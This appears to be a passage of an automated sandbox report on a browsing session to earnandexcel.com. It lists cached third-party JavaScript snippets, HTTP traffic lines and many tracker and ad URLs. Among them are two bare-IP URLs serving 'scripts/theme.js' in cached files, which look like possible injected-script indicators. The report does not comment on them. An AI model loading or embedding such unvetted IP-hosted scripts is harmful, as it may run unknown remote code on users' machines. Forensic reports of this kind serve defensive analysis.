c=ShareLink.networkTemplates[a].replace(/{([^}]+)}/g,function(a,c){return b[c]\|\|""});if("email"===a){if(-1<b.title.indexOf("&")\|\|-1<b.text.indexOf("&")){var d={text:b.text.replace(/&/g,"%26"),title:b.title.replace(/&/g,"%26"),url:b.url};c=ShareLink.networkTemplates[a].replace(/{([^}]+)}/g,function(a,b){return d[b]})}return c.indexOf("?subject=&body")&&(c=c.replace("subject=&","")),c}return c},a.fn.shareLink=function(b){return this.each(function(){a(this).data("shareLink",new ShareLink(this,b))})}})(jQuery); equals www.twitter.com (Twitter)
Source: chromecache_523.1.dr	String found in binary or memory: (function(a){window.ShareLink=function(b,c){var d,e={},f=function(a){var b=a.substr(0,e.classPrefixLength);return b===e.classPrefix?a.substr(e.classPrefixLength):null},g=function(a){d.on("click",function(){h(a)})},h=function(a){var b="";if(e.width&&e.height){var c=screen.width/2-e.width/2,d=screen.height/2-e.height/2;b="toolbar=0,status=0,width="+e.width+",height="+e.height+",top="+d+",left="+c}var f=ShareLink.getNetworkLink(a,e),g=/^https?:\/\//.test(f),h=g?"":"_self";open(f,h,b)},i=function(){a.each(b.classList,function(){var a=f(this);if(a)return g(a),!1})},j=function(){a.extend(e,ShareLink.defaultSettings,c),["title","text"].forEach(function(a){e[a]=e[a].replace("#","")}),e.classPrefixLength=e.classPrefix.length},k=function(){d=a(b)};(function(){j(),k(),i()})()},ShareLink.networkTemplates={twitter:"https://twitter.com/intent/tweet?text={text}\x20{url}",pinterest:"https://www.pinterest.com/pin/create/button/?url={url}&media={image}",facebook:"https://www.facebook.com/sharer.php?u={url}",vk:"https://vkontakte.ru/share.php?url={url}&title={title}&description={text}&image={image}",linkedin:"https://www.linkedin.com/shareArticle?mini=true&url={url}&title={title}&summary={text}&source={url}",odnoklassniki:"https://connect.ok.ru/offer?url={url}&title={title}&imageUrl={image}",tumblr:"https://tumblr.com/share/link?url={url}",google:"https://plus.google.com/share?url={url}",digg:"https://digg.com/submit?url={url}",reddit:"https://reddit.com/submit?url={url}&title={title}",stumbleupon:"https://www.stumbleupon.com/submit?url={url}",pocket:"https://getpocket.com/edit?url={url}",whatsapp:"https://api.whatsapp.com/send?text={title}\n{text}\n{url}",xing:"https://www.xing.com/app/user?op=share&url={url}",print:"javascript:print()",email:"mailto:?subject={title}&body={text}\n{url}",telegram:"https://telegram.me/share/url?url={url}&text={text}",skype:"https://web.skype.com/share?url={url}"},ShareLink.defaultSettings={title:"",text:"",image:"",url:location.href,classPrefix:"s_",width:640,height:480},ShareLink.getNetworkLink=function(a,b){var c=ShareLink.networkTemplates[a].replace(/{([^}]+)}/g,function(a,c){return b[c]\|\|""});if("email"===a){if(-1<b.title.indexOf("&")\|\|-1<b.text.indexOf("&")){var d={text:b.text.replace(/&/g,"%26"),title:b.title.replace(/&/g,"%26"),url:b.url};c=ShareLink.networkTemplates[a].replace(/{([^}]+)}/g,function(a,b){return d[b]})}return c.indexOf("?subject=&body")&&(c=c.replace("subject=&","")),c}return c},a.fn.shareLink=function(b){return this.each(function(){a(this).data("shareLink",new ShareLink(this,b))})}})(jQuery); equals www.vkontakte.ru (VKontakte)
Source: chromecache_754.1.dr	String found in binary or memory: (function(a,b,c,d){var e={exports:{}};e.exports;(function(){var f=a.fbq;f.execStart=a.performance&&a.performance.now&&a.performance.now();if(!function(){var b=a.postMessage\|\|function(){};if(!f){b({action:"FB_LOG",logType:"Facebook Pixel Error",logMessage:"Pixel code is not installed correctly on this page"},"");"error"in console&&console.error("Facebook Pixel Error: Pixel code is not installed correctly on this page");return!1}return!0}())return;f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=function(a){f.__fbeventsResolvedModules[a]\|\|(f.__fbeventsResolvedModules[a]=f.__fbeventsModules[a]());return f.__fbeventsResolvedModules[a]},f.fbIsModuleLoaded=function(a){return!!f.__fbeventsModules[a]},f.ensureModuleRegistered=function(b,a){f.fbIsModuleLoaded(b)\|\|(f.__fbeventsModules[b]=a)});f.ensureModuleRegistered("signalsFBEventsGetIwlUrl",function(){return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(a){var b=new URL(a);b=b.hostname.endsWith(".facebook.com")&&b.pathname=="/signals/iwl.js";if(!b)throw new Error("Disallowed script URL");return a}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("signalsFBEventsGetTier",function(){return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEvents.plugins.iwlbootstrapper",function(){return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var c=f.getFbeventsModules("SignalsFBEventsIWLBootStrapEvent"),d=f.getFbeventsModules("SignalsFBEventsLogging"),g=f.getFbeventsModules("SignalsFBEventsNetworkConfig"),h=f.getFbeventsModules("SignalsFBEventsPlugin"),i=f.getFbeventsModules("signalsFBEventsGetIwlUrl"),j=f.getFbeventsModules("signalsFBEventsGetTier"),k=d.logUserError,l=/^https:\/\/.\.facebook\.com$/i,m="FACEBOOK_IWL_CONFIG_STORAGE_KEY",n=null;e.exports=new h(function(d,e){try{n=a.sessionStorage?a.sessionStorage:{getItem:function(a){return null},removeItem:function(a){},setItem:function(a,b){}}}catch(a){return}function h(c,d){var e=b.createElement("script");e.async=!0;e.onload=function(){if(!a.FacebookIWL\|\|!a.FacebookIWL.init)return;var b=j(g.ENDPOINT);b!=null&&a.FacebookIWL.set&&a.FacebookIWL.set("tier",b);d()};a.FacebookIWLSessionEnd=func
Source: chromecache_658.1.dr, chromecache_969.1.dr, chromecache_1015.1.dr, chromecache_809.1.dr	String found in binary or memory: Math.round(p);v["gtm.videoCurrentTime"]=Math.round(q);v["gtm.videoElapsedTime"]=Math.round(f);v["gtm.videoPercent"]=r;v["gtm.videoVisible"]=t;return v},Ij:function(){e=zb()},od:function(){d()}}};var Dc=ia(["data-gtm-yt-inspected-"]),vC=["www.youtube.com","www.youtube-nocookie.com"],wC,xC=!1; equals www.youtube.com (Youtube)
Source: chromecache_767.1.dr	String found in binary or memory: Tx.prototype.l=function(a){switch(a.type){case "playing":Vx(this);break;case "pause":case "ended":this.g.enabled&&this.g.stop();break;case "timeupdate":!this.B&&0<Ux(this)&&(this.B=!0,Vx(this))}};var Vx=function(a){!a.g.enabled&&a.B&&(a.F=1E3Ux(a),a.C=Date.now(),a.o=!1,a.g.start())};Tx.prototype.G=function(){var a=Date.now(),b=a-this.C,c=1E3Ux(this);c-this.F<.5b?this.o\|\|(this.o=!0,this.dispatchEvent("playbackStalled")):this.o=!1;this.F=c;this.C=a};var Wx="://secure-...imrworldwide.com/ ://cdn.imrworldwide.com/ ://aksecure.imrworldwide.com/ ://[^.].moatads.com ://youtube[0-9]+.moatpixel.com ://pm.adsafeprotected.com/youtube ://pm.test-adsafeprotected.com/youtube ://e[0-9]+.yt.srs.doubleverify.com www.google.com/pagead/xsul www.youtube.com/pagead/slav".split(" "),Xx=/\bocr\b/;function Yx(a){if(pb(Th(a))\|\|oc&&2048<a.length)return!1;try{if((new S(a)).F().match(Xx))return!0}catch(b){}return null!=Wx.find(function(b){return null!=a.match(b)})};function Zx(a,b){return pb(b)?!1:(new RegExp(a)).test(b)}function $x(a){var b={};a.split(",").forEach(function(c){var d=c.split("=");2==d.length&&(c=qb(d[0]),d=qb(d[1]),0<c.length&&(b[c]=d))});return b} equals www.youtube.com (Youtube)
Source: chromecache_972.1.dr	String found in binary or memory: break;case "MediaFiles":for(var Fd=[],qf=[],ae=[],Ce=q(Zf(G)),rf=Ce.next();!rf.done;rf=Ce.next()){var zb=rf.value;switch(zb.nodeName){case "MediaFile":var Dc=void 0,Ab=U(zb);if(null==Ab)var De=null;else{-1!=Ab.indexOf("www.youtube.com/get_video")?P(Q(),"hgvu","1"):-1!=Ab.indexOf("redirector.gvt1.com/get_video")&&P(Q(),"hgvuc","1");var Ec={};Ec.height=HF(zb,"height");Ec.width=HF(zb,"width");Ec.rb=zb.getAttribute("delivery");Ec.bitrate=HF(zb,"bitrate");Ec.Ba=HF(zb,"minBitrate");Ec.maxBitrate=HF(zb, equals www.youtube.com (Youtube)
Source: chromecache_658.1.dr	String found in binary or memory: c?"runIfCanceled":"runIfUncanceled",[]);if(!g.length)return!0;var h=mA(a,c,e);M(121);if("https://www.facebook.com/tr/"===h["gtm.elementUrl"])return M(122),!0;if(d&&f){for(var m=Jb(b,g.length),n=0;n<g.length;++n)g[n](h,m);return m.done}for(var p=0;p<g.length;++p)g[p](h,function(){});return!0},pA=function(){var a=[],b=function(c){return pb(a,function(d){return d.form===c})};return{store:function(c,d){var e=b(c);e?e.button=d:a.push({form:c,button:d})},get:function(c){var d=b(c);return d?d.button:null}}}, equals www.facebook.com (Facebook)
Source: chromecache_658.1.dr, chromecache_969.1.dr, chromecache_1015.1.dr, chromecache_809.1.dr	String found in binary or memory: e\|\|f\|\|g.length\|\|h.length))return;var n={Sg:d,Qg:e,Rg:f,Ch:g,Dh:h,we:m,zb:b},p=D.YT,q=function(){DC(n)};if(p)return p.ready&&p.ready(q),b;var r=D.onYouTubeIframeAPIReady;D.onYouTubeIframeAPIReady=function(){r&&r();q()};I(function(){for(var t=G.getElementsByTagName("script"),u=t.length,v=0;v<u;v++){var w=t[v].getAttribute("src");if(GC(w,"iframe_api")\|\|GC(w,"player_api"))return b}for(var x=G.getElementsByTagName("iframe"),y=x.length,B=0;B<y;B++)if(!xC&&EC(x[B],n.we))return Oc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_972.1.dr	String found in binary or memory: l.vm=function(){this.A&&oG(this.l,uH,null)};l.Dm=function(){Z(this,"adBuffering")};var F1=function(a){var b,c=a.qa;if(c.g&&c.g.g)if(c.j){var d=void 0===d?null:d;(b=void 0===b?null:b)\|\|(b="//www.youtube.com/");d?b+=d:(c=C(c.j.id),b=B(c)?null:b+"channel/"+(0==c.lastIndexOf("UC",0)&&24==c.length?c:"UC"+c))}else b=null;else b=null;b&&(a.pause(),a.Da(b,null))};q1.prototype.Lb=function(){v0.prototype.Lb.call(this);null!=this.A&&this.A.ke()}; equals www.youtube.com (Youtube)
Source: chromecache_896.1.dr, chromecache_451.1.dr, chromecache_1095.1.dr	String found in binary or memory: return b}tC.H="internal.enableAutoEventOnTimer";var Dc=ia(["data-gtm-yt-inspected-"]),vC=["www.youtube.com","www.youtube-nocookie.com"],wC,xC=!1; equals www.youtube.com (Youtube)
Source: chromecache_972.1.dr	String found in binary or memory: this.Mh=h;this.Ca=k;this.bf=n;this.Ab=m;this.ae=p;this.Ke=r;this.resources=t};var iD=function(a,b){var c=void 0===b?{}:b;b=void 0===c.mimeType?null:c.mimeType;var d=void 0===c.ea?null:c.ea;c=void 0===c.ue?null:c.ue;this.Ia=a;this.ea=d;this.mimeType=b;this.ue=c},jD=function(a){return"Url"===a.Ia.resourceType?a.Ia.cd:null},kD=function(a){return"Html"===a.Ia.resourceType?a.Ia.cd:null};var lD=function(a,b){var c=void 0===b?{}:b;b=void 0===c.rb?null:c.rb;var d=void 0===c.mimeType?null:c.mimeType,e=void 0===c.codec?null:c.codec,f=void 0===c.width?null:c.width;c=void 0===c.height?null:c.height;this.url=a;this.rb=b;this.mimeType=d;this.codec=e;this.width=f;this.height=c};var mD=function(a,b){b=void 0===b?{}:b;var c=void 0===b.ea?null:b.ea,d=void 0===b.bitrate?null:b.bitrate,e=void 0===b.Ba?null:b.Ba,f=void 0===b.maxBitrate?null:b.maxBitrate,g=void 0===b.Ha?null:b.Ha;lD.call(this,a,{rb:void 0===b.rb?null:b.rb,mimeType:void 0===b.mimeType?null:b.mimeType,codec:void 0===b.codec?null:b.codec,width:void 0===b.width?null:b.width,height:void 0===b.height?null:b.height});this.ea=c;this.Ba=e\|\|f\|\|d\|\|0;this.maxBitrate=f\|\|e\|\|d\|\|0;this.Ha=g};w(mD,lD);var nD=function(a){a=void 0===a?{}:a;var b=void 0===a.oc?[]:a.oc,c=void 0===a.De?[]:a.De;this.Pb=void 0===a.Pb?null:a.Pb;this.oc=b;this.De=c};var oD=function(a){a=void 0===a?{}:a;var b=void 0===a.Nb?null:a.Nb,c=void 0===a.W?[]:a.W,d=void 0===a.xc?[]:a.xc,e=void 0===a.Ua?[]:a.Ua,f=void 0===a.lh?[]:a.lh,g=void 0===a.fd?null:a.fd,h=void 0===a.ka?null:a.ka,k=void 0===a.Ta?[]:a.Ta;this.duration=void 0===a.duration?null:a.duration;this.ka=h;this.Nb=b;this.W=c;this.xc=d;this.Ua=e;this.lh=f;this.fd=g;this.Ta=k};var pD=function(a){a=void 0===a?{}:a;var b=void 0===a.ea?null:a.ea,c=void 0===a.height?null:a.height,d=void 0===a.width?null:a.width,e=void 0===a.Xc?null:a.Xc,f=void 0===a.resources?[]:a.resources,g=void 0===a.lg?null:a.lg,h=void 0===a.mg?[]:a.mg,k=void 0===a.ka?null:a.ka;this.id=void 0===a.id?null:a.id;this.ea=b;this.height=c;this.width=d;this.Xc=e;this.resources=f;this.lg=g;this.mg=h;this.ka=k};var qD=function(a,b){b=void 0===b?[]:b;this.g=a;this.W=b};var rD=function(a){a=void 0===a?{}:a;var b=void 0===a.Le?"unknown":a.Le;this.Me=(void 0===a.Me?"unknown":a.Me)\|\|"unknown";this.Le=b\|\|"unknown"};var sD=function(a){a=void 0===a?{}:a;var b=void 0===a.id?null:a.id,c=void 0===a.adId?null:a.adId,d=void 0===a.Rb?null:a.Rb,e=void 0===a.je?null:a.je,f=void 0===a.Td?null:a.Td,g=void 0===a.Va?[]:a.Va;this.Ka=void 0===a.Ka?null:a.Ka;this.id=b;this.adId=c;this.Rb=d;this.je=e;this.Td=f;this.Va=g};var tD=function(a,b){this.url=a;this.g=void 0===b?null:b};var uD=function(a){a=void 0===a?{}:a;var b=void 0===a.qe?null:a.qe,c=void 0===a.Dc?null:a.Dc,d=void 0===a.parameters?null:a.parameters,e=void 0===a.W?[]:a.W;this.vendor=void 0===a.vendor?null:a.vendor;this.qe=b;this.Dc=c;this.parameters=d;this.W=e};var vD=function(a){a=void 0===a?{}:a;var b=void 0===a.errors?[]:a.errors,c=void 0===a.tc?[]:a.tc,d=void 0===a.pa?[]:a.pa,e=void 0===a.lb?[]:
Source: chromecache_972.1.dr	String found in binary or memory: this.qa;if(b.g&&b.g.g)if(a=b.g.id,b=b.o,b=void 0===b?!1:b,null==a)a=null;else{c=new L("//www.youtube.com/watch");var d=c.g;d.set("v",a);d.set("feature",b?"trueview-instream":"instream");uw(c,d);a=c.toString()}else a=null;null!==a&&(this.pause(),this.Da(a,null));break;case "muteClicked":this.ua=this.I;this.setVolume(0);break;case "unmuteClicked":this.setVolume(this.ua);case "skipShown":Z(this,"skippableStateChanged");break;case "skip":Z(this,"skip");this.destroy();break;case "fullscreen":Z(this,"fullscreen"); equals www.youtube.com (Youtube)
Source: chromecache_658.1.dr	String found in binary or memory: var IB=function(a,b,c,d,e){var f=Nz("fsl",c?"nv.mwt":"mwt",0),g;g=c?Nz("fsl","nv.ids",[]):Nz("fsl","ids",[]);if(!g.length)return!0;var h=Jz(a,"gtm.formSubmit",g),m=a.action;m&&m.tagName&&(m=a.cloneNode(!1).action);M(121);if("https://www.facebook.com/tr/"===m)return M(122),!0;h["gtm.elementUrl"]=m;h["gtm.formCanceled"]=c;null!=a.getAttribute("name")&&(h["gtm.interactedFormName"]=a.getAttribute("name"));e&&(h["gtm.formSubmitElement"]=e,h["gtm.formSubmitElementText"]=e.value);if(d&&f){if(!zy(h,Ay(b, equals www.facebook.com (Facebook)
Source: chromecache_972.1.dr	String found in binary or memory: var WE=function(a,b){var c=a.Pa.j;a.Pa.g.forEach(function(d){Ty(b,new Py("error",d))});c.forEach(function(d){Ty(b,Ry("impression",d.url,d.g))})},XE=function(a,b){a=q(a.pa);for(var c=a.next();!c.done;c=a.next())if((c=c.value.Rb)&&c.Ua&&0<c.Ua.length){a=q(c.Ua);for(c=a.next();!c.done;c=a.next())c=c.value,b.Ua.push(new My(jD(c),kD(c),c.mimeType,c.ea,c.ue));break}};var YE=function(a){a=Error.call(this,a);this.message=a.message;"stack"in a&&(this.stack=a.stack)};w(YE,Error);var ZE=function(a){this.j=a;this.g=Date.now()};ZE.prototype.reset=function(){this.g=Date.now()};var $E=function(a){a=a.g+a.j-Date.now();return 0<a?a:0};var aF="://secure-...imrworldwide.com/ ://cdn.imrworldwide.com/ ://aksecure.imrworldwide.com/ ://[^.]*.moatads.com ://youtube[0-9]+.moatpixel.com ://pm.adsafeprotected.com/youtube ://pm.test-adsafeprotected.com/youtube ://e[0-9]+.yt.srs.doubleverify.com www.google.com/pagead/xsul www.youtube.com/pagead/slav".split(" "),bF=/\bocr\b/;function cF(a){if(B(C(a))\|\|Ee&&2048<a.length)return!1;try{if((new L(a)).P().match(bF))return!0}catch(b){}return null!=aF.find(function(b){return null!=a.match(b)})};var dF=function(a){var b=Error.call(this,a);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.errorCode=a};w(dF,Error);var eF=function(){if(!Ee)return!1;try{return new ActiveXObject("MSXML2.DOMDocument"),!0}catch(a){return!1}},fF=Ee&&eF(),gF=function(a){if("undefined"!=typeof DOMParser){var b=new DOMParser;a=pz(a);return b.parseFromString(Qd(a),"application/xml")}if(fF){b=new ActiveXObject("MSXML2.DOMDocument");b.resolveExternals=!1;b.validateOnParse=!1;try{b.setProperty("ProhibitDTD",!0),b.setProperty("MaxXMLSize",2048),b.setProperty("MaxElementDepth",256)}catch(c){}b.loadXML(a);return b}throw Error("Your browser does not support loading xml documents"); equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: earnandexcel.com

Source: unknown

HTTP traffic detected: POST /add/player-stats?beacon=1&session-id=8c58f55e0782d45ca231998a40db0b78c216bb6e1712870800 HTTP/1.1Host: fresnel.vimeocdn.comConnection: keep-aliveContent-Length: 1069sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://player.vimeo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://player.vimeo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 11 Apr 2024 21:26:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Microsoft-Azure-Application-Gateway/v2Date: Thu, 11 Apr 2024 21:27:01 GMTContent-Type: text/htmlContent-Length: 581Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 11 Apr 2024 21:27:08 GMTContent-Type: text/html; charset=utf-8Content-Length: 150Connection: closeVary: Origin, Accept-EncodingAccess-Control-Allow-Credentials: trueContent-Security-Policy: default-src 'none'X-Content-Type-Options: nosniff
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 11 Apr 2024 21:27:27 GMTContent-Type: text/html; charset=utf-8Content-Length: 150Connection: closeVary: Origin, Accept-EncodingAccess-Control-Allow-Credentials: trueContent-Security-Policy: default-src 'none'X-Content-Type-Options: nosniff
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 11 Apr 2024 21:27:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 11 Apr 2024 21:27:37 GMTContent-Type: text/html; charset=utf-8Content-Length: 150Connection: closeVary: Origin, Accept-EncodingAccess-Control-Allow-Credentials: trueContent-Security-Policy: default-src 'none'X-Content-Type-Options: nosniff
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 11 Apr 2024 21:27:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 11 Apr 2024 21:28:12 GMTContent-Type: text/html; charset=utf-8Content-Length: 150Connection: closeVary: Origin, Accept-EncodingAccess-Control-Allow-Credentials: trueContent-Security-Policy: default-src 'none'X-Content-Type-Options: nosniff
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 11 Apr 2024 21:28:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 150Connection: closeVary: Origin, Accept-EncodingAccess-Control-Allow-Credentials: trueContent-Security-Policy: default-src 'none'X-Content-Type-Options: nosniff

Source: chromecache_761.1.dr	String found in binary or memory: http://api.jqueryui.com/position/
Source: chromecache_646.1.dr	String found in binary or memory: http://blog.alexmaccaw.com/css-transitions
Source: chromecache_526.1.dr	String found in binary or memory: http://brm.io/jquery-match-height/
Source: chromecache_970.1.dr	String found in binary or memory: http://bugs.jquery.com/ticket/11820
Source: chromecache_802.1.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_802.1.dr	String found in binary or memory: http://fontawesome.io/license
Source: chromecache_646.1.dr	String found in binary or memory: http://jamesroberts.name/blog/2010/02/22/string-functions-for-javascript-trim-to-camel-case-to-dashe
Source: chromecache_457.1.dr	String found in binary or memory: http://jedwatson.github.io/classnames
Source: chromecache_1037.1.dr, chromecache_761.1.dr, chromecache_866.1.dr, chromecache_812.1.dr, chromecache_1120.1.dr, chromecache_1021.1.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_761.1.dr, chromecache_866.1.dr, chromecache_812.1.dr, chromecache_1120.1.dr, chromecache_1021.1.dr	String found in binary or memory: http://jqueryui.com
Source: chromecache_515.1.dr	String found in binary or memory: http://packery.metafizzy.co
Source: chromecache_972.1.dr, chromecache_767.1.dr	String found in binary or memory: http://pagead2.googlesyndication.com/pagead/gen_204
Source: chromecache_626.1.dr	String found in binary or memory: http://sachinchoolur.github.io/lightGallery/
Source: chromecache_515.1.dr	String found in binary or memory: http://stackoverflow.com/a/306332
Source: chromecache_1110.1.dr	String found in binary or memory: http://stevenbenner.com/).
Source: chromecache_717.1.dr, chromecache_517.1.dr	String found in binary or memory: http://swiperjs.com
Source: chromecache_972.1.dr	String found in binary or memory: http://tpc.googlesyndication.com/pagead/js/loader21.html
Source: chromecache_819.1.dr, chromecache_784.1.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_972.1.dr, chromecache_767.1.dr, chromecache_784.1.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_632.1.dr	String found in binary or memory: http://www.codylindley.com)
Source: chromecache_972.1.dr	String found in binary or memory: http://www.google.com/adsense/support
Source: chromecache_632.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_637.1.dr	String found in binary or memory: http://www.smartmenus.org/
Source: chromecache_476.1.dr, chromecache_1018.1.dr, chromecache_577.1.dr, chromecache_760.1.dr, chromecache_971.1.dr, chromecache_998.1.dr, chromecache_708.1.dr, chromecache_590.1.dr, chromecache_475.1.dr	String found in binary or memory: http://www.w3schools.com/css/css_syntax.asp
Source: chromecache_476.1.dr, chromecache_971.1.dr, chromecache_998.1.dr, chromecache_708.1.dr, chromecache_590.1.dr	String found in binary or memory: https://147.45.47.87/scripts/theme.js
Source: chromecache_760.1.dr	String found in binary or memory: https://162.33.177.118/scripts/theme.js
Source: chromecache_587.1.dr	String found in binary or memory: https://a.deadlinefunnel.com/unified/reactunified.bundle.js?userIdHash=eyJpdiI6ImFMVURHVnJ1MzhyOUNiT
Source: chromecache_713.1.dr, chromecache_942.1.dr	String found in binary or memory: https://a.tribalfusion.com/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcod
Source: chromecache_699.1.dr	String found in binary or memory: https://aax-us-east.amazon-adsystem.com
Source: chromecache_927.1.dr	String found in binary or memory: https://acdn.adnxs.com/dmp/async_usersync.html
Source: chromecache_952.1.dr, chromecache_877.1.dr	String found in binary or memory: https://ad.doubleclick.net/ddm/pfadx/N3186.3949321PMPRECISIONDV360/B31189534.385370447;sz=0x0;ord=
Source: chromecache_952.1.dr	String found in binary or memory: https://ad.doubleclick.net/pcs/click?xai=AKAOjss08ygUoD3boFkCRxSvQ1Hh9YYo7TZZd94lyTYiUNo45wADaZN-l9N
Source: chromecache_877.1.dr	String found in binary or memory: https://ad.doubleclick.net/pcs/click?xai=AKAOjstdxx50QdiF7wghkiV2qQtzNJUfGMBLWsT3EEwvkebL5ftiIVLEj_8
Source: chromecache_757.1.dr	String found in binary or memory: https://ad.doubleclick.net/pcs/click?xai=AKAOjstoSRGRfaOFcd7TEjqptbzHBts6Wkzd1wG1efsaLqVLU1x9DtJwl55
Source: chromecache_602.1.dr	String found in binary or memory: https://ad.doubleclick.net/pcs/click?xai=AKAOjsvpDiC6RBrNK3e4fKBKK2DZ6W10wKXzV-0p3uoXR7InhbUs9c2U25f
Source: chromecache_952.1.dr	String found in binary or memory: https://ad.doubleclick.net/pcs/view?xai=AKAOjst3Zgk7y7csLE9SHoJYW-dUYtX1dYFNsCU-godmzx8KWDsy0FzwRquN
Source: chromecache_757.1.dr	String found in binary or memory: https://ad.doubleclick.net/pcs/view?xai=AKAOjstkwIbYuRyNXcixGDgX4GH6sklXzDlDrXKXwdwKLDCVpigd6A8J4Bcp
Source: chromecache_602.1.dr	String found in binary or memory: https://ad.doubleclick.net/pcs/view?xai=AKAOjsuVKNd-Nn3rCZOSWFBpFg2_sOeswJqIpfBao2PM67UgvJy96w1TwHf2
Source: chromecache_877.1.dr	String found in binary or memory: https://ad.doubleclick.net/pcs/view?xai=AKAOjsvRhD7OK1yPleiHfBykh0ye_kAV6LQB9RbS8nPwkrkA99eFHoPmDriE
Source: chromecache_713.1.dr, chromecache_942.1.dr	String found in binary or memory: https://ad.mrtnsvr.com/sync/pubmatic?gdpr=0&gdpr_consent=
Source: chromecache_1022.1.dr, chromecache_977.1.dr	String found in binary or memory: https://ad.turn.com/r/cs?pid=1&gdpr=0&gdpr_consent=
Source: chromecache_573.1.dr	String found in binary or memory: https://ad.turn.com/r/cs?pid=9&gdpr=0
Source: chromecache_877.1.dr	String found in binary or memory: https://ade.googlesyndication.com/ddm/activity/dc_oe=ChMI05jllI27hQMVRCVoCB3LPAvoEAAYACC3q8ZjOhoI-rG
Source: chromecache_757.1.dr	String found in binary or memory: https://ade.googlesyndication.com/ddm/activity/dc_oe=ChMIi52clY27hQMV7CuICR0V8wVhEAAYACConsxj;dc_eps
Source: chromecache_602.1.dr	String found in binary or memory: https://ade.googlesyndication.com/ddm/activity/dc_oe=ChMIotD0lI27hQMV5UNHAR3tYQR8EAAYACConsxj;dc_eps
Source: chromecache_952.1.dr	String found in binary or memory: https://ade.googlesyndication.com/ddm/activity/dc_oe=ChMIpLe8lI27hQMVqg1oCB0Oew-2EAAYACC3q8ZjOhoI-rG
Source: chromecache_927.1.dr	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=157108&userIdMacro=PID&us_privacy=1---&gdpr=0&
Source: chromecache_735.1.dr	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fus
Source: chromecache_727.1.dr	String found in binary or memory: https://ads.yieldmo.com/pbsync?gdpr=&gdpr_consent=&us_privacy=&redirectUri=https%3A%2F%2Fcookies.nex
Source: chromecache_927.1.dr	String found in binary or memory: https://ads.yieldmo.com/pbsync?gdpr=&gdpr_consent=&us_privacy=1---&redirectUri=https%3A%2F%2Fexchang
Source: chromecache_896.1.dr, chromecache_658.1.dr, chromecache_451.1.dr, chromecache_969.1.dr, chromecache_1015.1.dr, chromecache_809.1.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk
Source: chromecache_896.1.dr, chromecache_658.1.dr, chromecache_451.1.dr, chromecache_969.1.dr, chromecache_1015.1.dr, chromecache_809.1.dr	String found in binary or memory: https://adservice.googlesyndication.com/pagead/regclk
Source: chromecache_545.1.dr, chromecache_661.1.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: chromecache_730.1.dr	String found in binary or memory: https://aorta.clickagy.com/pixel.gif?ch=4&cm=8acb4486-446f-4e18-8c4b-25513f8cf6d9&redir=https%3A%2F%
Source: chromecache_727.1.dr	String found in binary or memory: https://ap.lijit.com/pixel?redir=https%3A%2F%2Fcookies.nextmillmedia.com%2Fsetuid%3Fbidder%3Dsovrn%2
Source: chromecache_927.1.dr	String found in binary or memory: https://ap.lijit.com/www/sovrn_beacon_standalone/sovrn_standalone_beacon.js?iid=12343702
Source: chromecache_916.1.dr, chromecache_828.1.dr, chromecache_879.1.dr	String found in binary or memory: https://api.grow.me
